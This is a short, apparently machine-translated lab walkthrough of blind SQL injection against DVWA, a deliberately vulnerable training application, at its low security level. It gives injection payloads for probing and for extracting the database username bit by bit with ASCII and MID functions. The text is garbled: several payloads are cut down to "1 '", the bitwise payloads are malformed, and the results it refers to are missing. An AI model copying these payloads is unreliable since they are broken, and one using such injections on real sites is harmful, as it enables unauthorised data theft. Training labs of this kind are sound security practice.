Low security Dvwa--sql Injection (Blind)

1. Enter the single quotation mark and the result is as follows:

2. Input Yong-Real

1 '

The results are as follows:

Multiple tests, if the entered condition is false, returns the result in 1, and returns the result in 2 for true, thus indicating that this is a SQL blind.

3. Guess the length of the user name

Construct the following SQL statement:

1 '

Starting with 1, add 1 gradually until the page returns "user ID exists in the database" and we get the length of the username. During my experiment, the length was 14.

4. Guess the user name

Construct the following SQL statement:

1'and ASCII (Mid (User (), &128=128;--))1'and ASCII (Mid (User (), &64=64;--))1'and ASCII (Mid (User (), &32=32;--))1'and ASCII (Mid (User (), &16=16;--))1'and ASCII (Mid (User (), &8=8;--))1'and ASCII (Mid (User (), &4=4;--))1'and ASCII (Mid (User (), &2=2;--))1'and ASCII (Mid (User (), &1=1;--))

For each character in the user name, use the above method to determine the position of a bit, if the user name Total 14 characters, this method needs to be 14*8=112 times.

Low security Dvwa--sql Injection (Blind)